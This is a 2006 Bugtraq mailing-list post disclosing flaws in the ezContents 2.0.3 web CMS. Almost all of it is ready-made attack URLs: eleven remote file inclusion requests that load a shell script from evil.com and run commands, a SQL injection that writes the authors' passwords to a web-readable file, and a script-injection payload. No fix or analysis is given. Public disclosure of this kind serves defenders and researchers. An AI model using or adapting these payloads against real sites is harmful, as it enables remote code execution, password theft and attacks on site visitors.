bugtraq - ezContents Version 2.0.3 Remote/Local File Inclusion, SQL Injection, XSS

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: 30 Aug 2006 18:33:58 -0000
From: gmdarkfig@...il.com
To: bugtraq@...urityfocus.com
Subject: ezContents Version 2.0.3 Remote/Local File Inclusion, SQL
 Injection, XSS

#
# VulnScr: ezContents Version 2.0.3
# Web....: http://www.ezcontents.org/
#
# Date...: Web July 28 10:44 2006
# Credits: DarkFig (gmdarkfig@...il.com)
# Vuln...: SQL Injection, Remote/Local File Inclusion, Cross Site Scripting
#

==[ Remote / Local File Inclusion
=================================
http://[...]/modules/diary/event_list.php?GLOBALS[rootdp]=&GLOBALS[admin_home]=ftps://evil.com/sh.php&cmd=ls
http://[...]/modules/calendar/calendar.php?GLOBALS[rootdp]=&GLOBALS[language_home]=ftps://evil.com/sh.php&cmd=ls
http://[...]/modules/gallery/gallery_summary.php?GLOBALS[rootdp]=&GLOBALS[admin_home]=ftps://evil.com/sh.php&cmd=ls
http://[...]/modules/guestbook/showguestbook.php?GLOBALS[rootdp]=&GLOBALS[admin_home]=ftps://evil.com/sh.php&cmd=ls
http://[...]/modules/links/showlinks.php?GLOBALS[rootdp]=&GLOBALS[admin_home]=ftps://evil.com/sh.php&cmd=ls
http://[...]/modules/news/shownews.php?GLOBALS[rootdp]=&GLOBALS[language_home]=ftps://evil.com/sh.php&cmd=ls
http://[...]/modules/poll/showpoll.php?GLOBALS[rootdp]=&GLOBALS[language_home]=ftps://evil.com/sh.php&cmd=ls
http://[...]/modules/reviews/review_summary.php?GLOBALS[rootdp]=&GLOBALS[admin_home]=ftps://evil.com/sh.php&cmd=ls
http://[...]/modules/search/search.php?GLOBALS[rootdp]=&GLOBALS[language_home]=ftps://evil.com/sh.php&cmd=ls
http://[...]/modules/toprated/toprated.php?GLOBALS[rootdp]=&GLOBALS[language_home]=ftps://evil.com/sh.php&cmd=ls
http://[...]/modules/whatsnew/whatsnew.php?GLOBALS[rootdp]=&GLOBALS[language_home]=ftps://evil.com/sh.php&cmd=ls

==[ SQL Injection
=================
http://[...]/headeruserdata.php?groupname=' UNION SELECT userpassword FROM authors INTO OUTFILE '/www/passwd.txt' #


==[ Cross Site Scripting
========================
http://[...]/loginreq2.php?subgroupname="><script>alert(666)</script>